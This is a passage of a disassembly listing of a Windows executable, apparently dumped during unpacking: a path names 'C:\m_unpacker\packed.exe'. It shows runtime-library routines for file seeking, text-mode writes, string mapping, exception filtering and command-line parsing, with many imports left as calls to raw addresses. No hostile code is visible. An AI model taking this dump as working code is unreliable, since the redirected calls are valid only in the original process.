[edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4226E9 mov [edi+4], ebx loc_4226E9: ; CODE XREF: sub_4226CD+17j push 1 push ebx push esi call sub_422633 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422757 mov edx, [edi+0Ch] test dx, 108h jnz short loc_42270E sub eax, [edi+4] jmp loc_422820 ; --------------------------------------------------------------------------- loc_42270E: ; CODE XREF: sub_4226CD+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422748 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DAA60[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_42275F mov edx, ecx loc_422739: ; CODE XREF: sub_4226CD+79j cmp edx, eax jnb short loc_42275F cmp byte ptr [edx], 0Ah jnz short loc_422745 inc [ebp+var_8] loc_422745: ; CODE XREF: sub_4226CD+73j inc edx jmp short loc_422739 ; --------------------------------------------------------------------------- loc_422748: ; CODE XREF: sub_4226CD+50j test dl, 80h jnz short loc_42275F mov dword_4D9714, 16h loc_422757: ; CODE XREF: sub_4226CD+2Dj or eax, 0FFFFFFFFh jmp loc_422820 ; --------------------------------------------------------------------------- loc_42275F: ; CODE XREF: sub_4226CD+68j ; sub_4226CD+6Ej ... cmp [ebp+var_4], 0 jnz short loc_42276D mov eax, [ebp+var_8] jmp loc_422820 ; --------------------------------------------------------------------------- loc_42276D: ; CODE XREF: sub_4226CD+96j test byte ptr [edi+0Ch], 1 jz loc_422818 mov edx, [edi+4] test edx, edx jnz short loc_422786 and [ebp+var_8], edx jmp loc_422818 ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_4226CD+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_422812 push 2 push 0 push [ebp+var_C] call sub_422633 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4227D9 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4227C4: ; CODE XREF: sub_4226CD+104j cmp eax, ecx jnb short loc_4227D3 cmp byte ptr [eax], 0Ah jnz short loc_4227D0 inc [ebp+arg_0] loc_4227D0: ; CODE XREF: sub_4226CD+FEj inc eax jmp short loc_4227C4 ; --------------------------------------------------------------------------- loc_4227D3: ; CODE XREF: sub_4226CD+F9j test byte ptr [edi+0Dh], 20h jmp short loc_42280D ; --------------------------------------------------------------------------- loc_4227D9: ; CODE XREF: sub_4226CD+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422633 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_422800 mov ecx, [edi+0Ch] test cl, 8 jz short loc_422800 test ch, 4 jz short loc_422803 loc_422800: ; CODE XREF: sub_4226CD+124j ; sub_4226CD+12Cj mov eax, [edi+18h] loc_422803: ; CODE XREF: sub_4226CD+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_42280D: ; CODE XREF: sub_4226CD+10Aj jz short loc_422812 inc [ebp+arg_0] loc_422812: ; CODE XREF: sub_4226CD+D9j ; sub_4226CD:loc_42280Dj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422818: ; CODE XREF: sub_4226CD+A4j ; sub_4226CD+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422820: ; CODE XREF: sub_4226CD+3Cj ; sub_4226CD+8Dj ... pop edi pop esi pop ebx leave retn sub_4226CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422825 proc near ; CODE XREF: sub_41DA54+A2p ; sub_41E32B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DAB60 push esi push edi jnb loc_4229B9 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_4229B9 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_422876 loc_42286F: ; CODE XREF: sub_422825+177j xor eax, eax jmp loc_4229CD ; --------------------------------------------------------------------------- loc_422876: ; CODE XREF: sub_422825+48j test al, 20h jz short loc_422886 push 2 push edi push ecx call sub_422633 add esp, 0Ch loc_422886: ; CODE XREF: sub_422825+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422955 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_42298D loc_4228A6: ; CODE XREF: sub_422825+F5j lea eax, [ebp+var_414] loc_4228AC: ; CODE XREF: sub_422825+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4228E0 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4228CB inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4228CB: ; CODE XREF: sub_422825+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4228AC loc_4228E0: ; CODE XREF: sub_422825+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2720000h test eax, eax jz short loc_42294A mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_42291C mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_4228A6 loc_42291C: ; CODE XREF: sub_422825+EAj ; sub_422825+12Ej xor edi, edi loc_42291E: ; CODE XREF: sub_422825+150j ; sub_422825+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_4229B4 cmp [ebp+arg_0], edi jz short loc_42298D push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422982 mov dword_4D9714, 9 mov dword_4D9718, eax jmp loc_4229CA ; --------------------------------------------------------------------------- loc_42294A: ; CODE XREF: sub_422825+E0j nop call near ptr 2680DCDh mov [ebp+arg_0], eax jmp short loc_42291C ; --------------------------------------------------------------------------- loc_422955: ; CODE XREF: sub_422825+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 2720000h nop test eax, eax jz short loc_422977 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_42291E ; --------------------------------------------------------------------------- loc_422977: ; CODE XREF: sub_422825+145j call near ptr 2680DCDh nop mov [ebp+arg_0], eax jmp short loc_42291E ; --------------------------------------------------------------------------- loc_422982: ; CODE XREF: sub_422825+10Fj push [ebp+arg_0] call sub_420314 pop ecx jmp short loc_4229CA ; --------------------------------------------------------------------------- loc_42298D: ; CODE XREF: sub_422825+7Bj ; sub_422825+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_4229A2 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_42286F loc_4229A2: ; CODE XREF: sub_422825+16Fj mov dword_4D9714, 1Ch mov dword_4D9718, edi jmp short loc_4229CA ; --------------------------------------------------------------------------- loc_4229B4: ; CODE XREF: sub_422825+FEj sub eax, [ebp+var_10] jmp short loc_4229CD ; --------------------------------------------------------------------------- loc_4229B9: ; CODE XREF: sub_422825+15j ; sub_422825+37j and dword_4D9718, 0 mov dword_4D9714, 9 loc_4229CA: ; CODE XREF: sub_422825+120j ; sub_422825+166j ... or eax, 0FFFFFFFFh loc_4229CD: ; CODE XREF: sub_422825+4Cj ; sub_422825+192j pop edi pop esi pop ebx leave retn sub_422825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229D2 proc near ; CODE XREF: sub_41DD4A+47p ; sub_41DD4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4D97E8, edi jnz short loc_422A48 push edi push edi push 1 pop ebx push ebx push offset dword_427908 mov esi, 100h push esi push edi nop call near ptr 2630000h test eax, eax jz short loc_422A26 mov dword_4D97E8, ebx jmp short loc_422A48 ; --------------------------------------------------------------------------- loc_422A26: ; CODE XREF: sub_4229D2+4Aj push edi push edi push ebx push offset word_4C91BC push esi push edi call near ptr 2640000h nop test eax, eax jz loc_422B60 mov dword_4D97E8, 2 loc_422A48: ; CODE XREF: sub_4229D2+2Ej ; sub_4229D2+52j cmp [ebp+arg_C], edi jle short loc_422A5D push [ebp+arg_C] push [ebp+arg_8] call sub_42605C pop ecx pop ecx mov [ebp+arg_C], eax loc_422A5D: ; CODE XREF: sub_4229D2+79j mov eax, dword_4D97E8 cmp eax, 2 jnz short loc_422A84 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_422B62 ; --------------------------------------------------------------------------- loc_422A84: ; CODE XREF: sub_4229D2+93j cmp eax, 1 jnz loc_422B60 cmp [ebp+arg_18], edi jnz short loc_422A9A mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_422A9A: ; CODE XREF: sub_4229D2+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2700000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422B60 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422AF5 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422AF5: ; CODE XREF: sub_4229D2+10Ej cmp [ebp+var_24], edi jz short loc_422B60 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2700000h test eax, eax jz short loc_422B60 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422B60 test byte ptr [ebp+arg_4+1], 4 jz short loc_422B74 cmp [ebp+arg_14], edi jz loc_422BEF cmp esi, [ebp+arg_14] jg short loc_422B60 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2630000h test eax, eax jnz loc_422BEF loc_422B60: ; CODE XREF: sub_4229D2+66j ; sub_4229D2+B5j ... xor eax, eax loc_422B62: ; CODE XREF: sub_4229D2+ADj ; sub_4229D2+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422B74: ; CODE XREF: sub_4229D2+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BA8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422BA8: ; CODE XREF: sub_4229D2+1C2j cmp ebx, edi jz short loc_422B60 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop test eax, eax jz short loc_422B60 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422BCF push edi push edi jmp short loc_422BD5 ; --------------------------------------------------------------------------- loc_422BCF: ; CODE XREF: sub_4229D2+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422BD5: ; CODE XREF: sub_4229D2+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 28310EEh mov esi, eax cmp esi, edi jz loc_422B60 loc_422BEF: ; CODE XREF: sub_4229D2+165j ; sub_4229D2+188j mov eax, esi jmp loc_422B62 sub_4229D2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422D37 test eax, eax pop ecx jz loc_422D2B mov ebx, [eax+8] test ebx, ebx jz loc_422D2B cmp ebx, 5 jnz short loc_422C27 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422D34 ; --------------------------------------------------------------------------- loc_422C27: ; CODE XREF: ___:00422C19j cmp ebx, 1 jz loc_422D26 mov ecx, dword_4D97EC mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4D97EC, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422D16 mov ecx, dword_43ACD0 mov edx, dword_43ACD4 add edx, ecx push esi cmp ecx, edx jge short loc_422C76 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43AC60h[esi*4] loc_422C6D: ; CODE XREF: ___:00422C74j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422C6D loc_422C76: ; CODE XREF: ___:00422C5Fj mov eax, [eax] mov esi, dword_43ACDC cmp eax, 0C000008Eh jnz short loc_422C91 mov dword_43ACDC, 83h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422C91: ; CODE XREF: ___:00422C83j cmp eax, 0C0000090h jnz short loc_422CA4 mov dword_43ACDC, 81h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CA4: ; CODE XREF: ___:00422C96j cmp eax, 0C0000091h jnz short loc_422CB7 mov dword_43ACDC, 84h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CB7: ; CODE XREF: ___:00422CA9j cmp eax, 0C0000093h jnz short loc_422CCA mov dword_43ACDC, 85h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CCA: ; CODE XREF: ___:00422CBCj cmp eax, 0C000008Dh jnz short loc_422CDD mov dword_43ACDC, 82h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CDD: ; CODE XREF: ___:00422CCFj cmp eax, 0C000008Fh jnz short loc_422CF0 mov dword_43ACDC, 86h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CF0: ; CODE XREF: ___:00422CE2j cmp eax, 0C0000092h jnz short loc_422D01 mov dword_43ACDC, 8Ah loc_422D01: ; CODE XREF: ___:00422C8Fj ; ___:00422CA2j ... push dword_43ACDC push 8 call ebx pop ecx mov dword_43ACDC, esi pop ecx pop esi jmp short loc_422D1E ; --------------------------------------------------------------------------- loc_422D16: ; CODE XREF: ___:00422C48j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422D1E: ; CODE XREF: ___:00422D14j mov eax, [ebp+8] mov dword_4D97EC, eax loc_422D26: ; CODE XREF: ___:00422C2Aj or eax, 0FFFFFFFFh jmp short loc_422D34 ; --------------------------------------------------------------------------- loc_422D2B: ; CODE XREF: ___:00422C05j ; ___:00422C10j push dword ptr [ebp+0Ch] nop call near ptr 2620D63h loc_422D34: ; CODE XREF: ___:00422C22j ; ___:00422D29j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422D37 proc near ; CODE XREF: ___:00422BFDp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43ACD8 cmp dword_43AC58, edx push esi mov eax, offset dword_43AC58 jz short loc_422D64 lea esi, [ecx+ecx*2] lea esi, ds:43AC58h[esi*4] loc_422D59: ; CODE XREF: sub_422D37+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422D64 cmp [eax], edx jnz short loc_422D59 loc_422D64: ; CODE XREF: sub_422D37+16j ; sub_422D37+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43AC58h[ecx*4] cmp eax, ecx jnb short loc_422D77 cmp [eax], edx jz short locret_422D79 loc_422D77: ; CODE XREF: sub_422D37+3Aj xor eax, eax locret_422D79: ; CODE XREF: sub_422D37+3Ej retn sub_422D37 endp ; --------------------------------------------------------------------------- cmp dword_4DADAC, 0 jnz short loc_422D88 call sub_4201A2 loc_422D88: ; CODE XREF: ___:00422D81j push esi mov esi, dword_4DADA4 mov al, [esi] cmp al, 22h jnz short loc_422DBA loc_422D95: ; CODE XREF: ___:00422DADj ; ___:00422DB0j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422DB2 test al, al jz short loc_422DB2 movzx eax, al push eax call sub_424C46 test eax, eax pop ecx jz short loc_422D95 inc esi jmp short loc_422D95 ; --------------------------------------------------------------------------- loc_422DB2: ; CODE XREF: ___:00422D9Bj ; ___:00422D9Fj cmp byte ptr [esi], 22h jnz short loc_422DC4 loc_422DB7: ; CODE XREF: ___:00422DCCj inc esi jmp short loc_422DC4 ; --------------------------------------------------------------------------- loc_422DBA: ; CODE XREF: ___:00422D93j cmp al, 20h jbe short loc_422DC4 loc_422DBE: ; CODE XREF: ___:00422DC2j inc esi cmp byte ptr [esi], 20h ja short loc_422DBE loc_422DC4: ; CODE XREF: ___:00422DB5j ; ___:00422DB8j ... mov al, [esi] test al, al jz short loc_422DCE cmp al, 20h jbe short loc_422DB7 loc_422DCE: ; CODE XREF: ___:00422DC8j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DADAC, ebx push esi push edi jnz short loc_422DE4 call sub_4201A2 loc_422DE4: ; CODE XREF: ___:00422DDDj mov esi, dword_4D9788 xor edi, edi loc_422DEC: ; CODE XREF: ___:00422E02j mov al, [esi] cmp al, bl jz short loc_422E04 cmp al, 3Dh jz short loc_422DF7 inc edi loc_422DF7: ; CODE XREF: ___:00422DF4j push esi call sub_41B960 pop ecx lea esi, [esi+eax+1] jmp short loc_422DEC ; --------------------------------------------------------------------------- loc_422E04: ; CODE XREF: ___:00422DF0j lea eax, ds:4[edi*4] push eax call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx mov dword_4D973C, esi jnz short loc_422E26 push 9 call sub_41E1C9 pop ecx loc_422E26: ; CODE XREF: ___:00422E1Cj mov edi, dword_4D9788 cmp [edi], bl jz short loc_422E69 push ebp loc_422E31: ; CODE XREF: ___:00422E66j push edi call sub_41B960 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422E62 push ebp call sub_41BC9B cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422E55 push 9 call sub_41E1C9 pop ecx loc_422E55: ; CODE XREF: ___:00422E4Bj push edi push dword ptr [esi] call sub_41C620 pop ecx add esi, 4 pop ecx loc_422E62: ; CODE XREF: ___:00422E3Ej add edi, ebp cmp [edi], bl jnz short loc_422E31 pop ebp loc_422E69: ; CODE XREF: ___:00422E2Ej push dword_4D9788 call sub_41BA31 pop ecx mov dword_4D9788, ebx mov [esi], ebx pop edi pop esi mov dword_4DADA8, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DADAC, ebx push esi push edi jnz short loc_422EA2 call sub_4201A2 loc_422EA2: ; CODE XREF: ___:00422E9Bj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2670000h mov eax, dword_4DADA4 mov off_4D974C, esi mov edi, esi cmp [eax], bl jz short loc_422EC7 mov edi, eax loc_422EC7: ; CODE XREF: ___:00422EC3j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_422F24 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BC9B mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422EF7 push 8 call sub_41E1C9 pop ecx loc_422EF7: ; CODE XREF: ___:00422EEDj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_422F24 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4D9734, esi pop edi pop esi mov dword_4D9730, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F24 proc near ; CODE XREF: ___:00422ED2p ; ___:00422F08p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_422F4E mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_422F4E: ; CODE XREF: sub_422F24+20j cmp byte ptr [eax], 22h jnz short loc_422F97 loc_422F53: ; CODE XREF: sub_422F24+58j ; sub_422F24+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_422F85 test dl, dl jz short loc_422F85 movzx edx, dl test byte_4DAC81[edx], 4 jz short loc_422F78 inc dword ptr [ecx] test esi, esi jz short loc_422F78 mov dl, [eax] mov [esi], dl inc esi inc eax loc_422F78: ; CODE XREF: sub_422F24+46j ; sub_422F24+4Cj inc dword ptr [ecx] test esi, esi jz short loc_422F53 mov dl, [eax] mov [esi], dl inc esi jmp short loc_422F53 ; --------------------------------------------------------------------------- loc_422F85: ; CODE XREF: sub_422F24+36j ; sub_422F24+3Aj inc dword ptr [ecx] test esi, esi jz short loc_422F8F and byte ptr [esi], 0 inc esi loc_422F8F: ; CODE XREF: sub_422F24+65j cmp byte ptr [eax], 22h jnz short loc_422FDA inc eax jmp short loc_422FDA ; --------------------------------------------------------------------------- loc_422F97: ; CODE XREF: sub_422F24+2Dj ; sub_422F24+A5j inc dword ptr [ecx] test esi, esi jz short loc_422FA2 mov dl, [eax] mov [esi], dl inc esi loc_422FA2: ; CODE XREF: sub_422F24+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DAC81[ebx], 4 jz short loc_422FBD inc dword ptr [ecx] test esi, esi jz short loc_422FBC mov bl, [eax] mov [esi], bl inc esi loc_422FBC: ; CODE XREF: sub_422F24+91j inc eax loc_422FBD: ; CODE XREF: sub_422F24+8Bj cmp dl, 20h jz short loc_422FCB test dl, dl jz short loc_422FCF cmp dl, 9 jnz short loc_422F97 loc_422FCB: ; CODE XREF: sub_422F24+9Cj test dl, dl jnz short loc_422FD2 loc_422FCF: ; CODE XREF: sub_422F24+A0j dec eax jmp short loc_422FDA ; --------------------------------------------------------------------------- loc_422FD2: ; CODE XREF: sub_422F24+A9j test esi, esi jz short loc_422FDA and byte ptr [esi-1], 0 loc_422FDA: ; CODE XREF: sub_422F24+6Ej ; sub_422F24+71j ... and [ebp+arg_10], 0 loc_422FDE: ; CODE XREF: sub_422F24+19Ej cmp byte ptr [eax], 0 jz loc_4230C7 loc_422FE7: ; CODE XREF: sub_422F24+D0j mov dl, [eax] cmp dl, 20h jz short loc_422FF3 cmp dl, 9 jnz short loc_422FF6 loc_422FF3: ; CODE XREF: sub_422F24+C8j inc eax jmp short loc_422FE7 ; --------------------------------------------------------------------------- loc_422FF6: ; CODE XREF: sub_422F24+CDj cmp byte ptr [eax], 0 jz loc_4230C7 test edi, edi jz short loc_42300B mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42300B: ; CODE XREF: sub_422F24+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423010: ; CODE XREF: sub_422F24+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423019: ; CODE XREF: sub_422F24+FCj cmp byte ptr [eax], 5Ch jnz short loc_423022 inc eax inc ebx jmp short loc_423019 ; --------------------------------------------------------------------------- loc_423022: ; CODE XREF: sub_422F24+F8j cmp byte ptr [eax], 22h jnz short loc_423053 test bl, 1 jnz short loc_423051 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423040 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423040 mov eax, edx jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423040: ; CODE XREF: sub_422F24+10Dj ; sub_422F24+116j mov [ebp+arg_0], edi loc_423043: ; CODE XREF: sub_422F24+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423051: ; CODE XREF: sub_422F24+106j shr ebx, 1 loc_423053: ; CODE XREF: sub_422F24+101j mov edx, ebx dec ebx test edx, edx jz short loc_423068 inc ebx loc_42305B: ; CODE XREF: sub_422F24+142j test esi, esi jz short loc_423063 mov byte ptr [esi], 5Ch inc esi loc_423063: ; CODE XREF: sub_422F24+139j inc dword ptr [ecx] dec ebx jnz short loc_42305B loc_423068: ; CODE XREF: sub_422F24+134j mov dl, [eax] test dl, dl jz short loc_4230B8 cmp [ebp+arg_10], 0 jnz short loc_42307E cmp dl, 20h jz short loc_4230B8 cmp dl, 9 jz short loc_4230B8 loc_42307E: ; CODE XREF: sub_422F24+14Ej cmp [ebp+arg_0], 0 jz short loc_4230B2 test esi, esi jz short loc_4230A1 movzx ebx, dl test byte_4DAC81[ebx], 4 jz short loc_42309A mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42309A: ; CODE XREF: sub_422F24+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4230B0 ; --------------------------------------------------------------------------- loc_4230A1: ; CODE XREF: sub_422F24+162j movzx edx, dl test byte_4DAC81[edx], 4 jz short loc_4230B0 inc eax inc dword ptr [ecx] loc_4230B0: ; CODE XREF: sub_422F24+17Bj ; sub_422F24+187j inc dword ptr [ecx] loc_4230B2: ; CODE XREF: sub_422F24+15Ej inc eax jmp loc_423010 ; --------------------------------------------------------------------------- loc_4230B8: ; CODE XREF: sub_422F24+148j ; sub_422F24+153j ... test esi, esi jz short loc_4230C0 and byte ptr [esi], 0 inc esi loc_4230C0: ; CODE XREF: sub_422F24+196j inc dword ptr [ecx] jmp loc_422FDE ; --------------------------------------------------------------------------- loc_4230C7: ; CODE XREF: sub_422F24+BDj ; sub_422F24+D5j test edi, edi jz short loc_4230CE and dword ptr [edi], 0 loc_4230CE: ; CODE XREF: sub_422F24+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_422F24 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4D98F4 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423126 call ebp mov esi, eax cmp esi, ebx jz short loc_423107 mov dword_4D98F4, 1 jmp short loc_42312F ; --------------------------------------------------------------------------- loc_423107: ; CODE XREF: ___:004230F9j nop call near ptr 2620A7Eh mov edi, eax cmp edi, ebx jz loc_423201 mov dword_4D98F4, 2 jmp loc_4231B5 ; --------------------------------------------------------------------------- loc_423126: ; CODE XREF: ___:004230F1j cmp eax, 1 jnz loc_4231B0 loc_42312F: ; CODE XREF: ___:00423105j cmp esi, ebx jnz short loc_42313F call ebp mov esi, eax cmp esi, ebx jz loc_423201 loc_42313F: ; CODE XREF: ___:00423131j cmp [esi], bx mov eax, esi jz short loc_423154 loc_423146: ; CODE XREF: ___:0042314Bj ; ___:00423152j inc eax inc eax cmp [eax], bx jnz short loc_423146 inc eax inc eax cmp [eax], bx jnz short loc_423146 loc_423154: ; CODE XREF: ___:00423144j sub eax, esi mov edi, dword_427194 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_4231A5 push ebp call sub_41BC9B cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_4231A5 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_4231A1 push dword ptr [esp+10h] call sub_41BA31 pop ecx mov [esp+10h], ebx loc_4231A1: ; CODE XREF: ___:00423191j mov ebx, [esp+10h] loc_4231A5: ; CODE XREF: ___:00423171j ; ___:00423180j push esi call near ptr 2620C55h nop mov eax, ebx jmp short loc_423203 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: ___:00423129j cmp eax, 2 jnz short loc_423201 loc_4231B5: ; CODE XREF: ___:00423121j cmp edi, ebx jnz short loc_4231C5 call near ptr 2620A7Eh nop mov edi, eax cmp edi, ebx jz short loc_423201 loc_4231C5: ; CODE XREF: ___:004231B7j cmp [edi], bl mov eax, edi jz short loc_4231D5 loc_4231CB: ; CODE XREF: ___:004231CEj ; ___:004231D3j inc eax cmp [eax], bl jnz short loc_4231CB inc eax cmp [eax], bl jnz short 